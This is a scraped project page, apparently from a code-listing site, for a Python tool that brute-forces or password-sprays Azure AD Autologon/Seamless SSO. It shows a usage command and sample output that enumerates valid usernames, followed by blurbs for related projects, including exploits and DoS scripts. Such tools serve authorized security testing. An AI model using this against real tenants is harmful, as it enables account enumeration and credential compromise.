AzureAD_Autologon_Brute

Brute force attack tool for Azure AD Autologon

https://arstechnica.com/information-technology/2021/09/new-azure-active-directory-password-brute-forcing-flaw-has-no-fix/

Usage:
python3 azuread_autologon_brute.py -d intranet.directory -U users.txt -p Password1

[~/AzureAD_Autologon_Brute] # python3 azuread_autologon_brute.py -d intranet.directory -U users.txt -p Password1
Domain is  intranet.directory
Setting password as: Password1
Reading users from file: users.txt

+-----------------------------------------+
|          AzureAD AutoLogon Brute          |
|     2021.09.30 @nyxgeek - TrustedSec      |
+-----------------------------------------+

[-] Username not found:[email protected]:Password1
[+] VALID USERNAME, invalid password :[email protected]:Password1
[-] Username not found:[email protected]:Password1
[-] Username not found:[email protected]:Password1
[-] Username not found:[email protected]:Password1
[-] Username not found:[email protected]:Password1
[+] VALID USERNAME, invalid password :[email protected]:Password1
[-] Username not found:[email protected]:Password1
[+] VALID USERNAME, invalid password :[email protected]:Password1
[-] Username not found:[email protected]:Password1

Brute force attack tool for Azure AD Autologon/Seamless SSO

Related tags

Overview

AzureAD_Autologon_Brute

Owner

nyxgeek

MassStringer, CTF Flag Finder

This script checks for any possible SSRF dns/http interactions in xmlrpc.php pingback feature

RedlineSpam - Python tool to spam Redline Infostealer panels with legit looking data

This project is for finding a solution to use Security Onion Elastic data with Jupyter Notebooks.

The Web Application Firewall Paranoia Level Test Tool.

web指纹识别工具

Easily retargetable and hackable interactive disassembler with IDAPython-compatible plugin API

Apache OFBiz rmi反序列化EXP(CVE-2021-26295)

Generate malicious files using recently published bidi-attack (CVE-2021-42574)

Format SSSD Raw Kerberos Payloads into CCACHE files for use on Windows systems

adb - A tool that allows you to search for vulnerable android devices across the world and exploit them.

Fuzz introspector is a tool to help fuzzer developers to get an understanding of their fuzzer’s performance and identify any potential blockers.

将hw时信息收集以及简单的漏洞操作步骤简单化

ClusterFuzz is a scalable fuzzing infrastructure that finds security and stability issues in software.

BF-Hash - A Python Tool to decrypt hashes by brute force

Python DNS Lookup: The Domain Name System (DNS) is basically the phonebook of the Internet

Create a secure tunnel from a custom domain to localhost using Fly and WireGuard.

Security system to prevent Shoulder Surfing Attacks

Simple script for looping a Denial Of Service (DoS) attack over one single mac address in range

Example for the NFT 3D Collectibles using Blender Scripting (Python).